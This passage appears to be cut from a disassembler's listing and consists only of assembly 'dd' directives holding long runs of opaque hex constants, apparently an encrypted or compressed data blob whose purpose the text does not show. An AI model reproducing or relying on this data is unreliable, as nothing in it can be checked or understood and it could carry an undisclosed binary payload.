89BFE912h, 7E84C8F2h, 0D4051326h, 0EC206540h dd 0BFF124C5h, 0DE951950h, 4148F2D3h, 0C1BF5729h, 228155C7h dd 69145ABAh, 22412E62h, 1FDF20F5h, 19CD0C85h, 0E2D3C071h dd 0C63027A9h, 4F209A52h, 24486370h, 2D8A2C36h, 972D255h dd 0FE4E2596h, 60F389D5h, 5B93780Dh, 0C316E07Bh, 0CE5508A2h dd 8FEB0EF2h, 13331A51h, 0CAB7AB58h, 0AA4EDF58h, 0E67ACDDDh dd 0A8E9829Bh, 0D0E47F13h, 0E25C8079h, 0CF220F1h, 6944685Dh dd 4941AA2Dh, 2FA5DD2Bh, 5E2AF4E9h, 0CBF9BDFAh, 59B8DDC5h dd 267C5E25h, 5D0D48F3h, 0BA7182A4h, 0E7098005h, 87EAFD86h dd 0FE04D662h, 0A126D449h, 5B2640F4h, 0C5E0946h, 1BE91720h dd 5826C9D2h, 0EB968B7Ch, 0BA2ABFE1h, 9795A228h, 0E599B48Bh dd 0BD6C9254h, 1F5EA590h, 0AA624EABh, 35554E1Fh, 3AE04AC0h dd 0EC3F4BD9h, 4255E2F5h, 14897E36h, 0ED2DC248h, 2765B6D7h dd 24D9EA83h, 95B27AC9h, 7DB009FFh, 0DE275B4Dh, 53DAE278h dd 99A2522h, 7EAD1779h, 6DEA0FD3h, 2681AC52h, 0A045425Fh dd 0BD257AB8h, 54098AF5h, 4521DE27h, 8A0BEBD2h, 0C655551h dd 0C17F54C9h, 6E385768h, 5CA4D537h, 0E952D858h, 61EDE04Ah dd 0B5008158h, 5BFD3042h, 6B90EDC0h, 689E533h, 0BB95B749h dd 6BE4A0EAh, 0C6ED4C64h, 2A49B1ABh, 0A86A2469h, 0F9EAF471h dd 0CD5B2BBFh, 3EAE1C3Eh, 39BB5E38h, 5B412865h, 0E90B68F7h dd 48778207h, 0C12E43BCh, 0C903802Fh, 11B6A9Dh, 0BE2625C6h dd 250922F1h, 559CDF02h, 555B9EFCh, 9DC7BE8h, 0D782832Ah dd 695B077Dh, 202A72A5h, 68172142h, 63601250h, 5CE72351h dd 3A66056Ah, 0D6B703FFh, 0B0F501CDh, 0E49518DCh, 0EB1587DDh dd 4D6CBE9h, 8650EDB4h, 0F60126C0h, 5806A1D7h, 580DCDCh dd 0BA68F9E4h, 3287E34Ch, 5D0169E1h, 0F68E4B68h, 7D3BEB2Fh dd 0D0F04C02h, 74766801h, 7E9E9D2Eh, 0E9873BADh, 32B94CC5h dd 3D4E77B8h, 813BCF89h, 0D33C1AE4h, 0B1F00C5Eh, 981B98DBh dd 0DA2BC0DAh, 5AD5315Bh, 5954D48h, 667F5CF5h, 8720FEE1h dd 383E1799h, 81E1B867h, 13884A7Bh, 0CA580C82h, 56E93254h dd 64157E4Fh, 0D6AE5984h, 34E9E920h, 0BCF8B963h, 10E4A119h dd 0C6B4515Fh, 0E9417B94h, 25B938A2h, 735E0C80h, 2DE91051h dd 1337860h, 4B2F68FAh, 0C25ACD2Eh, 80E3AC10h, 0B8005053h dd 36807CBCh, 422CB35h, 56E90678h, 698AA6Eh, 3F0E62CEh dd 985F7907h, 3E3A95B0h, 74A54DADh, 78D3ECC3h, 6EBBF3B9h dd 75108AF2h, 0B6520924h, 8D09F536h, 172EF055h, 0C8EDE935h dd 0B137312h, 32ED086Ch, 0BA540841h, 0D691FDBEh, 50ED3FA0h dd 19A821C1h, 3E016208h, 0C4B9E3F3h, 0AF2A09h, 685146BFh dd 40042353h, 0AB45E901h, 0EC67DDBBh, 0E595D888h, 0D85C96E7h dd 3970019Dh, 56825E95h, 544FC898h, 5960C0E4h, 0B7FCCF9h dd 4EE368EEh, 54C2449h, 0E62200EBh, 89590F37h, 55BDD00h dd 6258636Eh, 2DE82829h, 9D08B207h, 7D42BAF3h, 8D02C6Eh dd 4BF25E48h, 0EC7E64F5h, 0E11488B2h, 245D31E9h, 5E02F08Eh dd 1525322Dh, 44E2DF23h, 28EA070Fh, 5A5DC1D2h, 3AF989FFh dd 131D59B9h, 0E09D555Bh, 5EEB2D80h, 56C209BEh, 5D3D73E9h dd 26A93D4Eh, 501D74B6h, 0AAB44Ch, 0EA8058E2h, 38D388EBh dd 20DA7CE9h, 20478F69h, 0FA1CDD97h, 0D53CFD95h, 41396802h dd 0D55F3D9Ah, 9BAD08h, 79C86484h, 0FAB05649h, 10D2534Eh dd 2DCC75E2h, 6D544330h, 3063B6F5h, 860C6815h, 4709483Eh dd 0DEF328E9h, 2D00CA57h, 2F563B19h, 0D1B347FBh, 927975E6h dd 94E04528h, 5981C7A0h dd 279C1363h, 5A5DA8C2h, 499A2011h, 31C4AD4Eh, 0EE2A6FE1h dd 5E775B6Ch, 3C27BEFCh, 0AF4B82B9h, 0CB9AD559h, 5E16788Ch dd 70CD53C0h, 0C136513Ch, 6756600Ch, 57D12017h, 0B2734E19h dd 44803C8Eh, 0B853CEB9h, 0FF4E5143h, 41E0B3B8h, 474A16E9h dd 17FA3BE4h, 0B634664h, 0B1FFC262h, 0C43F9C7Ch, 8DDDAB48h dd 91E9F510h, 42FB91BAh, 0DA54A168h, 0BF37E961h, 3F6226A7h dd 0E4F710DDh, 5054881Ah, 1348BB80h, 80057109h, 64EF38Dh dd 5D29C325h, 73E3B780h, 337FEE52h, 0FB09DAF8h, 0D48914BAh dd 0C9EB0339h, 1C93426h, 822A0CBh, 0EB135960h, 4E7D4C0Ch dd 208E9945h, 802BBE3h, 7BE96490h, 4537276h, 4E7D3653h dd 2CF3EA5Ah, 39AE5F72h, 0E95B8506h, 84303D2Ah, 728DB8h dd 1205609Dh, 4066C546h, 3D50D00h, 0D0F72D1Eh, 64DB1F35h dd 48FDE5FDh, 2DE90732h, 0C527DE69h, 5A2D31D0h, 0E505DD27h dd 0F453D94Fh, 0BCC5E0BBh, 9AE472C8h, 166D1E08h, 8711D742h dd 34F2A094h, 0FEA06535h, 2D2C0BEEh, 8E3E8338h, 0C9675A51h dd 0C29A02E2h, 0D06E4032h, 0A782B14Eh, 5E62525Ch, 3E20F540h dd 116C6598h, 0E90A2942h, 40A33AA3h, 676C020Dh, 6665F1F6h dd 2CEE5C16h, 554C7B65h, 0C1A4D91Dh, 243D8270h, 81B1C283h dd 0BD7577Dh, 0C70E8142h, 89DB408Ah, 0A7BC65EAh, 8330FFF0h dd 38753DEAh, 0F0104AD9h, 194049B2h, 68941204h, 4953EEAEh dd 3B6DA1BEh, 2848E3DBh, 0BF057A20h, 85B92FCh, 0FAEB24FAh dd 641060B7h, 0FDBD00E6h, 8132C176h, 6C4209EFh, 0A8FD495Ah dd 5D04083Dh, 57ED1CE9h, 47A4FB3Bh, 53F6ADC6h, 7F0D3156h dd 7E5BD8FFh, 5ACA0h, 7E5951B1h, 8E118D25h, 3DE26E58h dd 4EF5161Dh, 812700BBh, 897B9FE9h, 0C82D3203h, 0D1096F0Dh dd 0DB7B50C9h, 4A1E58CBh, 386E51A1h, 0AD4EE950h, 0F2BBA10Ah dd 0BD1ACB00h, 4E01C9C7h, 138BBF34h, 2945977Dh, 0B1F4002Fh dd 881DBE39h, 0DB040768h, 2A94E93Fh, 108D8FBEh, 0E14F3F25h dd 20DDCEA6h, 61388314h, 13017667h, 0F84ACC68h, 260FD0C9h dd 0F62C3129h, 0B7D1A84h, 0A273C1EBh, 7C77C282h, 4EB57468h dd 860B9B4h, 880BDC46h, 2134F4F9h, 0C3C96F8Ah, 7828B010h dd 0F6921F9Eh, 0CB8B4DF8h, 5F95C1F0h, 5718A21Dh, 2675628Ch dd 27394C50h, 0C380DA60h, 406326Bh, 8AB0CF1Bh, 0E1C64C29h dd 2726431Ch, 12C616FDh, 52DD55E9h, 0D829B060h, 169B2D02h dd 408B399Ah, 80FD5E97h, 3F09055Ch, 82451C6Ch, 7F1B6871h dd 2DE98D98h, 4CD75B59h, 14040483h, 36001DD0h, 0E96C5111h dd 0AB87AE27h, 0BD28FCB6h, 1920BFAFh, 0B330FEF2h, 6639F48h dd 139D3D3Ch, 3D8040Ch, 0BE016F36h, 8E610h, 6095BE56h dd 2DE927C9h, 21E64D5Ch, 5980EDE0h, 96789509h, 7FF8B841h dd 0B5511C66h, 0BFE816EFh, 8F68FF60h, 526EA92Ch, 2B5DAA3Ah dd 24B8464h, 49E7B4Ah, 6C43AA5Eh, 9259014Fh, 9871F5F0h dd 125A77E9h, 0FB372132h, 0B92D5DEEh, 0D2DD2D8Bh, 0FC3B22E0h dd 0D6DCA159h, 0A9CC79ADh, 82F55Fh, 283AD545h, 15DE9477h dd 0FFE0E7E9h, 3092DD3Bh, 5C6E4774h, 0A35BA787h, 232E36D1h dd 6F05F9FEh, 3A822E37h, 279E56D3h, 54B7CD16h, 8112FBDBh dd 33E934FAh, 25A11909h, 2AB7CA80h, 810F1658h, 911B3EAh dd 431C84F0h, 6300D1BDh, 56DAAF28h, 0F7E4CE89h, 382EE916h dd 0AD2F9DB3h, 51970650h, 0E953D044h, 1863F732h, 553755Dh dd 8447E25h, 5F12EA83h, 0A3EEB513h, 0A068876Bh, 4079C929h dd 1E6D4F64h, 93024F71h, 6F28F1FBh, 97ADD479h, 227750E2h dd 5F9CF1FDh, 0FFEF7C6h, 0DAEC434Bh, 0A36CBFC6h, 68EA0106h dd 258B19FEh, 0FF79BCF7h, 425E4AA5h, 31C6DD21h, 93C069EEh dd 0D3334DEBh, 0AE314DCBh, 0AEAC6813h, 4C2FCBF3h, 0BE9B643h dd 30697A44h, 68BB8C7Ah, 0C511A52Fh, 82E98595h, 30E3FEC3h dd 0E4CFEC92h, 0B27BECEEh, 7EBCA96Bh, 2FF15375h, 75402B8Fh dd 0BC876AC5h, 50CAF916h, 0ADAD502Ah, 0E3035BABh, 2325791Ch dd 0CFD6F466h, 65F05649h, 0F612B601h, 1EE80DEh, 0B56CC6CCh dd 7F14ABE0h, 3193C788h, 6938F31Fh, 0EE17923Ah, 5A148EB9h dd 0D5842E51h, 7F8DBAB0h, 288ABD6Ah, 484BF5D0h, 501670A2h dd 662D0954h, 7ABFC4F8h, 350302D7h, 0A5B43B7Dh, 0BC650AC2h dd 5EF10984h, 7682E6BAh, 9B1A0AF6h, 0F55696EFh, 68136146h dd 903217CDh, 2E096151h, 9B3F2425h, 0E0E912A3h, 4B5F5844h dd 9FAA0C2h, 0FF7D58Bh, 620C4BFAh, 4BF7EBh, 0BCA986CAh dd 38F07600h, 0D0B503EEh, 0FA584AE0h, 0FD2BCF39h, 346F1AB4h dd 17527764h, 2346540Eh, 0F543DE20h, 0D91F6137h, 7634DABDh dd 0EB054ED8h, 0DB5B140Bh, 3EE642AFh, 0F8F88802h, 609009h dd 0E3715D6h, 517DCA81h, 6D1F6A2Ch, 0B835F803h, 0BF0C094Fh dd 5A57E017h, 37EA052Dh, 111722Dh, 83363B9Dh, 7D173EACh dd 0EA62C4CEh, 587FC688h, 0C1C5581Dh, 3DF13D27h, 6116D6E9h dd 6FBA6EE9h, 0C71D79B9h, 774349CAh, 14C52B04h, 128948E0h dd 0B7EFCFBDh, 0C1EE4AB2h, 0DA720CCEh, 7168A9D7h, 61B0B2Fh dd 8886B5D4h, 0F8402C4Ah, 890312C7h, 0DE2F017Ah, 2B6F7967h dd 60136FC0h, 0E949097Fh, 64FDEC3Ah, 1F5498F4h, 8C221F09h dd 801C358Bh, 6A3F130h, 987F049Fh, 1B6C626Fh, 47DB8C7h dd 4B82D744h, 194C5D05h, 444C2F27h, 3EFEC07Eh, 68F4CCFBh dd 8C9C60FAh, 35A8C164h, 5621B802h, 0AA482001h, 0AF0B2D48h dd 435B39Dh, 0A51E1E64h, 0E1258FF7h, 4A7C4604h, 7002725h dd 0B567C5E9h, 936FB144h, 331C853Bh, 4D882D88h, 312FF929h dd 0F56B71F9h, 0CCB98387h, 5829C24Bh, 42401529h, 4DE95651h dd 0FE14B89Fh, 9C2596CCh, 0D663535Eh, 581025B5h, 0F858E4FFh dd 3B44B535h, 67C3184Bh, 16C3A3D8h, 6565308h, 97361D4Ah dd 92ACC15Eh, 0D0186525h, 7C003AAFh, 23BF573Eh, 0BD267E4Dh dd 0DE0946DAh, 8747424Ah, 0FF0B56AEh, 11ED6B94h, 5300328Ch dd 38137E68h, 0BDEC3E8Dh, 1468907h, 0E4F3673Bh, 0A717C74Dh dd 73BAF0DEh, 0EF900832h, 5CD42E25h, 0C1353AAh, 0F552FCB8h dd 0E840B5FFh, 0B7013F4Dh, 10D00D16h, 7CFC676Eh, 6BEFB481h dd 75F3AF5Eh, 286C0065h, 0ADB551C8h, 994CE2E9h, 80068947h dd 9062A841h, 0A3FCED32h, 524C2D48h, 0FEDA05FFh, 126F8BBBh dd 10CD4326h, 93DEEE62h, 0EF802321h, 4FE12ECh, 40D198Eh dd 0E8EF3768h, 7B7DC395h, 0BD3D69Fh, 7519576Eh, 682465Dh dd 0E5C159CDh, 0D7900605h, 991A4F24h, 8373B063h, 0BC5CE1C6h dd 55999C2Fh, 0A85B21F8h, 0CB68A6D0h, 61CEBE3Fh, 0DA055199h dd 727C0009h, 0D33AFC6Eh, 1105056Eh, 15DBEA6Dh, 7D9D6809h dd 404F4B66h, 9F31A7C8h, 0FDCA4D12h, 1A28275h, 18C5DDEEh dd 0BF9ADBEh, 359477DBh, 4F8A9733h, 0C0B9BFF8h, 90AAB76Bh dd 349D42E6h, 91C1F147h, 1F046D95h, 4E1C06F5h, 0A0090C3Bh dd 0AB1A5D44h, 2C3E0449h, 7443A3ECh, 0F894EE96h, 325718C0h dd 0FD455AD6h, 0B314C5Dh, 835282FBh, 3B36F66Bh, 1793E0ABh dd 140DE3B6h, 0A4A9A63Bh, 255AD30Bh, 3387F56Dh, 0C982E844h dd 0D165F72Ch, 70D5B68Bh, 0D22F9C7Bh, 0E2C64161h, 5252F45Fh dd 29B6EC60h, 7FE0DB5Ah, 4073275Dh, 0A002A6DEh, 0F6C015C8h dd 23EE30A0h, 50C0177h, 401F67E9h, 50EA1680h, 30970328h dd 9F259E8h, 0FE05A1A4h dd 0EA3AE0A1h, 30BBD575h, 35DE687Bh, 0B70696B7h, 0E912D764h dd 0F7BB496Dh, 0E1295AFBh, 33E9CD48h, 0FE131A37h, 4103F2BBh dd 0EB80C328h, 31E3D1DEh, 23C7862h, 10346979h, 0EB0ED9D7h dd 8289EE5Dh, 408654E4h, 1C906878h, 495BEAB8h, 1E779080h dd 0E95A16D8h, 5F44EE4Eh, 0AE58088Bh, 53955B5Eh, 844EB036h dd 9AC49168h, 6BAC37BEh, 0BF2FC2C5h, 38102DE7h, 0E1D114D2h dd 13573E02h, 0B5ED8555h, 0ACBA68C5h, 169D4A4Bh, 1A39B480h dd 0A2E97C34h, 9051540h, 2F8D2A48h, 2918BBF4h, 2511BF93h dd 425E773Ah, 0B0396603h, 3382FD70h, 5B0886C7h, 4AD638D0h dd 9EE90D85h, 0F098BA83h, 310DE5F9h, 0F8FC2E59h, 0C27CD04Bh dd 0F3255233h, 9AE2F707h, 0AD54080Bh, 51B2D0C2h, 0A3B60FDEh dd 0EF804B44h, 0A0225B32h, 73BCB9A0h, 1F724A70h, 8C795FC3h dd 0E111522Bh, 3506D809h, 649B003Dh, 0A179700Bh, 0BF03ACC0h dd 37D760F8h, 0E1A62968h, 7190F42Fh, 94022F5Bh, 0F95A5452h dd 0CFFDEB86h, 0A579A574h, 722BE902h, 0C48A60B1h, 0ED99527h dd 0DE6F57C9h, 7B738E0Dh, 8C876661h, 5B4B698Fh, 7897CCE0h dd 0E364DD82h, 1E96ECF4h, 2E7E973Fh, 5206C5ADh, 4E6CE468h dd 6432F7B0h, 0D0291C42h, 0C9777809h, 65DF5D1Ch, 78200994h dd 0A80B6A5Ah, 750DD27Bh, 120803A8h, 0AD73B45Dh, 8019C4B2h dd 540647C7h, 679A17Ch, 0B6E93ECDh, 0DE97D967h, 19510BDDh dd 0F9E3479h, 0BE747A40h, 0B85AEF5h, 0CC7BE98Bh, 81604556h dd 2F5A2AEBh, 35053C71h, 19D52AFh, 90EE389h, 1DC0FA3Fh dd 0FEBFE7E6h, 1A27539Bh, 0F20DA475h, 55BB61AFh, 0E30A04B9h dd 0FCA5A77Fh, 9FF8C380h, 0F41F3F5Eh, 9A37C3DEh, 1FE40ED7h dd 0B11265BDh, 94AB67B2h, 0ED81E4BDh, 7E359600h, 0A3B8503Ch dd 17E72D55h, 5940677h, 7A5EBDA3h, 0C732636Bh, 0C0B985Fh dd 42D39772h, 3113F28Dh, 3316DE01h, 5E09D5D6h, 0BD508270h dd 8648ED0Fh, 34E1109Fh, 7C6B6802h, 5F5A579Ch, 52758422h dd 0C61BCC3h, 823E0582h, 41344919h, 0D146F761h, 454AE979h dd 7729EF21h, 0C26F3E25h, 0C4F70FC9h, 3B4A8Eh, 10D4BBF2h dd 0C1F45604h, 0C2794A64h, 2ECFF1ABh, 5A7F0FFCh, 0F869849Ah dd 0B5B2977Bh, 0AAF5D281h, 2B043174h, 84D730A2h, 6F4AA037h dd 500A6827h, 0CC475FC2h, 0FE9D0948h, 7CE9C1D6h, 24722BECh dd 0BE1B6C51h, 6AE02DF1h, 0C6975443h, 61595B50h, 0E75EF154h dd 4A333E00h, 0D14B57ABh, 3F2890E3h, 0AF089460h, 4C09DE89h dd 0A036FF07h, 0E909EF42h, 7D153DEh, 66140983h, 4B6A0535h dd 8239E737h, 67796B81h, 3B3A792h, 4458E90Ch, 950BB8ECh dd 55C530h, 4A205D2Bh, 0C7292019h, 0FC580881h, 3F009FF7h dd 0FD097DB4h, 591D685Fh, 6A806C5Dh, 9171338h, 0C90B90BDh dd 468C03Ch, 0B2B3539Ah, 85F38017h, 0C6810D0Eh, 120C97C3h dd 84E5E961h, 1E16EBD7h, 790930Eh, 3EE50604h, 0BF5A81B8h dd 0E9EED777h, 0A4F2579Bh, 9EC94CBDh, 0B228162Bh, 2AF4B2Ah dd 2CB4E98Bh, 7C24D7C5h, 0D2FBDC44h, 9AD5CC53h, 53C6D5D3h dd 35E5D72Ch, 80CDB281h, 76FD2E2h, 8353F205h, 0C056DCAh dd 387D68A2h, 7DB52CCCh, 5EE539B6h, 8E26C59Dh, 0EA017EF5h dd 59407AE9h, 145204Bh, 0EEF3CCF3h, 70B06724h, 47B58620h dd 4B3D0B08h, 7A27BE79h, 2A2E09DEh, 0DB062D8Ch, 31B02D0Ch dd 73B08930h, 257031F1h, 0DDC95005h, 74CE6059h, 40F60218h dd 2F706D22h, 1BF0413Ch, 6B44B22Ch, 28D1866Ch, 30A25E72h dd 0F25936FFh, 222549E0h, 0B543613Fh, 251BBC2Eh, 6A9EFBE7h dd 0F8F344CDh, 0C7BF4A4Eh, 0C92AD517h, 0C5703A3Dh, 0E7644D32h dd 80D4F26Eh, 0FF35A9CAh, 0B6A8C153h, 8419AD3Eh, 0F723CD0Ch dd 0F4383483h, 5A09B3AAh, 47F28FD0h, 0E91A0955h, 7E5C4093h dd 64810264h, 402128F6h, 30000747h, 7FC05AD5h, 0C2D073EDh dd 0C280BD16h, 1C13CC43h, 0D80D4E9h, 2F25BFBBh, 0B4D83DDDh dd 2B1BE5A0h, 0C270282Dh, 5DF0003h, 6EFD1A8Bh, 0D3E02421h dd 2D76822Eh, 3CCE7809h, 0B01FC3Dh, 6A51568Dh, 0C5F250C7h dd 85B900AAh, 257A577Ah, 0F102995Fh, 91397568h, 0A13AFB6Dh dd 0FCE9C889h, 0F0266169h, 45292F71h, 43FD5752h, 6259D80h dd 0BBFC2EB0h, 0E9173806h, 0FD5EC893h, 0A4EE3C9Bh, 0F340742Ah dd 1F3B7784h, 56CB299Dh, 5EF04BB3h, 4F7874D8h, 98036240h dd 58AE3944h, 0D2E912F9h, 0FC04564Dh, 734912D5h, 6A0CF420h dd 0F2D8F7BAh, 0F4151422h, 0D900F637h, 317233DFh, 9874E9D7h dd 0A34A8EA4h, 0A66A6CA1h, 925955Eh, 57EDC145h, 17EECD84h dd 0E68840FBh, 4A14D827h, 5E97B9B0h, 0A257448Dh, 4F5F8031h dd 4AE9FA87h, 0A2D31278h, 0E491E595h, 0DB50AE15h, 4FC24E1Fh dd 8649A81Bh, 0E71DD9F1h, 0FE3B9D25h, 8336F669h, 0BB4B1A5Dh dd 0F35E698Eh, 0F0D108Bh, 0AEE5542Dh, 10C21BA1h, 0EB680738h dd 13BC1859h, 0D7CC4A5Eh, 0EF1C1248h, 8A3FA263h, 8717D857h dd 0D4620DE1h, 72A0E302h, 0A28368C5h, 48E8CD4Dh, 49BDE29h dd 32DFC681h, 1C7A10EDh, 0B30505Dh, 3A0AEB68h, 0D83642C4h dd 0D8534E81h, 85414D3Bh, 565AB03Ah, 28CA735Ah, 6AEB207Ch dd 77E92DB4h, 0E5978464h, 5D5202B5h, 7DF632E9h, 0D7F74F07h dd 0CF814730h, 0B151160Ah, 17B5E86Eh, 0DAFDB8E9h, 286984h dd 3506E0C1h, 0E58C0512h, 0C2C7899Fh, 950081DFh, 0B14CF168h dd 8D50926Dh, 8BE96E98h, 0AF22D1A5h, 62AE2BB5h, 0A389532Ch dd 0E92473F0h, 98EAF34h, 0F374E4FBh, 6880EDA8h, 0B6F6788h dd 2B0E72B6h, 55734935h, 6071C7C6h, 0CA5BF695h, 5ACA028Bh dd 587F7254h, 1CE5B99h, 968A056Bh, 0BD55E449h, 7516790Bh dd 9A3F541Dh, 0B096AC3h, 10893AE5h, 7BAE5650h, 927F39CAh dd 0D9E909B0h, 40336FD3h, 5F88B98Dh, 0D0BF533Fh, 6247FAA0h dd 7AB35C97h, 28588E60h, 0EB9CF09Dh, 6F948DBh, 0C19ADA2Dh dd 0B5BBEFDFh, 0C004AF29h, 71FB2E65h, 7B5B3760h, 4FA656BDh dd 24F928C8h, 7123027Fh, 0F2C309CAh, 881EFC2h, 33755D68h dd 5CE9166Bh, 0C95E284Eh, 0D53763CFh, 0EAFF9CAFh, 0E8246AB6h dd 96510803h, 0DC6ADA64h, 71023D5Bh, 4F759125h, 5204F360h dd 0BB79EDFFh, 40ED0491h, 0F1BF3BE3h, 82080573h, 0CCC0D718h dd 76B8E93Fh, 0E5AB32D3h, 0A2B46E75h, 542217A9h, 0AB02006Fh dd 0E9565976h, 63647B30h, 5A3094F6h, 2C801BDh, 0BCE01B20h dd 0C921FC7Ah, 4B082003h, 0F42EF5Eh, 0C8DD4BE9h, 1E6B0FABh dd 0E53165ADh, 0B0D996FFh, 22433EB0h, 5E1BEE03h, 0C011882h dd 27834151h, 86A0CE01h, 140CD008h, 5E0D3840h, 0A791F84Dh dd 9519DEC6h, 344B825Fh, 9BB800C0h, 7F04C264h, 4974A00Dh dd 6B699A81h, 3641B787h, 0F680FB8Eh, 6FF1213Ah, 0BA2CE913h dd 1FEE8C45h, 912739E3h, 579D50D0h, 0D3EEB69Ch, 4265C095h dd 505B7E1Ch, 31290603h, 53805D2Bh, 0D446AF41h, 2EEBF998h dd 90B291E8h, 29C2387Ch, 962A792Ch, 0DEC5EB35h, 7E144F04h dd 43005309h, 40135009h, 2B0228B8h, 0E945377Ch, 0A8ADD05h dd 2FC86ABEh, 96ADF479h, 509E090Dh, 0E15DF488h, 4101F988h dd 0AD66012Eh, 0DDFA62CAh, 5608C6E7h, 77E4C0BEh, 0EABF5411h dd 5E0802CCh, 907651h, 74373A8Fh, 82DE1C1h, 3A12049h, 0D224A43Eh dd 25380918h, 0B0FFFA62h, 9D40D44Fh, 515B611Ch, 0A6E9FA60h dd 6EE6B161h dd 75894E4Fh, 25F3F875h, 0E77FC070h, 4DDF25FDh, 0B5924A5h dd 5E44AE91h, 42755F58h, 5034801Ah, 2D3C49h, 489D3DB3h dd 3E8FB235h, 4C3E0F49h, 18143E0Bh, 98D65C10h, 555A2750h dd 8CF88DDh, 14161C34h, 652849AEh, 0DC04EB60h, 0EF6E6EFh dd 26109AC8h, 0CFD9B81Fh, 0C4453791h, 8671BBEAh, 0B9F55551h dd 3112C068h, 10CA08F0h, 647F2D01h, 40D46B6Ch, 0F46FEE79h dd 3E730531h, 0BC52E920h, 0F1872753h, 6CE54FE1h, 6BF9EFh dd 37111B25h, 128DED81h, 0EA6A2E1Ch, 906421Bh, 0EAA5E417h dd 7B4B3880h, 176677Ah, 8826198h, 3D1331C0h, 20C0B981h dd 0FC615060h, 0D0B2B759h, 512D5E5Fh, 68F33EB2h, 0E84E5431h dd 241E0572h, 9468208Ah, 53C09217h, 599CE81h, 0C17E0950h dd 0A700AEE6h, 0AEAC54F6h, 45DC959Ch, 215DEE02h, 0B6DA40F2h dd 0C133AB16h, 172554A5h, 7A09FB30h, 6F2138D7h, 5360EF5Ah dd 4A6B67E3h, 1C3EC18h, 36D56CB9h, 0D16BB7E9h, 6C5BDF0Ch dd 24B01035h, 6047D6Fh, 0D3A4ADB1h, 1275F2BFh, 7EA4AE92h dd 1272B4B4h, 3B1DB15Dh, 0B3B232FAh, 437C9A58h, 13C6F339h dd 0FBC0DD0Ah, 1629B850h, 0A87A9921h, 0C487417Bh, 494A5315h dd 40F399ABh, 0DA211661h, 0A22F2E41h, 0C31A2ED9h, 0A37232B7h dd 0BACCD54Fh, 272DF59h, 0F4028BE3h, 0F1085D3Eh, 50C801D3h dd 450941EAh, 1CF4A9FBh, 5525681Ch, 2D4F2694h, 0E93A02BAh dd 804A4EBAh, 97609E57h, 0E52195Dh, 856801CEh, 8FB3286Fh dd 996EC457h, 0AF641D97h, 0BD50F5F0h, 0E84018EEh, 6D849DD2h dd 0AAEEF089h, 5F2D3700h, 7377E281h, 0E97908D8h, 0BB09D9E5h dd 0ADC8517h, 8900DBD5h, 55347826h, 6BF97729h, 74005196h dd 0B2C040Ah, 0C77C70FBh, 0C2DF08A2h, 0D8D54066h, 72F64C7Fh dd 89F8C600h, 0E0E9E38Bh, 1B8C054Ah, 21674DF5h, 6CD26882h dd 0E9C7659h, 0E149D96Dh, 0E6B46858h, 16A032C6h, 5F263E1Eh dd 3A077D2Eh, 78B9CC75h, 664A998Ch, 8B4006F7h, 57BC9D52h dd 4D40120h, 3AC06EB8h, 3A89FB5Ch, 2D2350E8h, 0AEF71385h dd 154FAD18h, 0C465AD2Fh, 0F6AA751Eh, 7B45AD4h, 0BF709AE2h dd 9D74205Ch, 3B42E9DBh, 0CF0E297Ch, 0C44C166h, 1628C325h dd 397E8CCh, 6866342Ch, 46A54EFDh, 3258B1D6h, 959091BDh dd 5A32FDE6h, 2669EA40h, 0EF0B70D2h, 0A5A0D121h, 9A9BC879h dd 0BD321227h, 0F817C919h, 0F5C05789h, 0F7082CEDh, 0EDF3FD35h dd 74AD46C4h, 0E66DE11Eh, 0F71C0C2Dh, 0F2B7EE17h, 608AF635h dd 5AC7177Dh, 2E98E66Eh, 0A134EF0Fh, 5C296BE5h, 0C7DDC91Ah dd 0EF76AFDFh, 40709E4Ch, 4E00BE11h, 814BB118h, 306EC5E6h dd 22844407h, 2C09534Dh, 5241CDE9h, 0A23BFF3Eh, 75E0D242h dd 0CB080973h, 6155211Bh, 40000312h, 0B60494Eh, 0DFD1B8C4h dd 9183B7F5h, 0AB84D568h, 814F13DBh, 246F2A01h, 410A14EFh dd 844B5E21h, 28015A2Ch, 0EBD16AF8h, 162C9B20h, 0AC58F478h dd 0BDEE98D7h, 0D3899C1h, 38192C98h, 0ECEF84A0h, 0D28963ACh dd 0FD885EDEh, 0EB5817FEh, 3F7C9304h, 440D9BBFh, 0C49753B3h dd 0BB682D63h, 579E8D51h, 896BD94Fh, 2117E79h, 2DD80A13h dd 3C7AE0D5h, 0E9391272h, 0E156D057h, 0C87921B0h, 0DCA6F0EDh dd 89A2A509h, 0CB7B16CDh, 33624B7Ah, 0D35A521Eh, 0EA0035FFh dd 0F26ECB86h, 0AE3C5F87h, 58304778h, 68C29820h, 0E29A3CBAh dd 31E93F40h, 0CBC1BD60h, 585916C0h, 0BC056436h, 1F41C167h dd 690C80D6h, 0F5093505h, 0DC42A927h, 2DB3973h, 0A1E9508Bh dd 6E2577DCh, 0F85A7EE3h, 0C265C026h, 0BA954066h, 2A92DABDh dd 99C0AA0Eh, 805D18CFh, 940B3D9Dh, 88EB011Bh, 0E2708AEh dd 7F2C3719h, 657559E9h, 4185C850h, 1F9A20CFh, 0A3017FB9h dd 0C1422423h, 0DC812771h, 52853998h, 2D3F2048h, 0C365A29Ch dd 9D57D2A0h, 0AA2FF716h, 5E7FC64Fh, 5053FCC5h, 868AEB6Ah dd 9881F55Ah, 8EED0472h, 0C718E203h, 7E64EB1h, 5AB73958h dd 199A3D3Ah, 0FE977F28h, 0EFBA2526h, 38626EDCh, 0E4F50B63h dd 3BC181AFh, 0EE7C4B3Fh, 8D8F2AF5h, 81A83E12h, 3FED8D5Ah dd 42A759F4h, 0AEA0D791h, 0C5CA4EE9h, 642AAE26h, 0BD86942Ah dd 768CD9E0h, 5D4D92B7h, 580318F8h, 0C92F962Dh, 30FA852h dd 1110A0Dh, 3A0705F0h, 726E11D1h, 2402F02Fh, 0BDC2FB72h dd 54AB1794h, 0D301BF4Eh, 223685Bh, 21826957h, 676CDD6Ah dd 45599631h, 0AA041E9Ah, 7D827485h, 9599C5F3h, 0EE0549BDh dd 0E5429CE9h, 0DD624147h, 2302B2Dh, 4AFD095Eh, 0FAC1216h dd 75A27ADDh, 8E804E6Dh, 46A3728Ah, 3AE66C1h, 9D6ECEFEh dd 3BFDE14Eh, 270831AEh, 669C87FCh, 0F733DE87h, 0C10D5ED3h dd 41689DF5h, 0B8EBC10Bh, 42021D0h, 8447A5E5h, 0C245BBE9h dd 2FEC32E9h, 0EF2F7142h, 9F633E32h, 19D291CAh, 0FD150250h dd 1733F195h, 5828C166h, 87E86E05h, 0A4775A25h, 0F44081A9h dd 5B57BB25h, 681377A4h, 318D172Dh, 0BA676BF7h, 326C35Dh dd 0CA1FB30Ch, 68E30143h, 475C0CB2h, 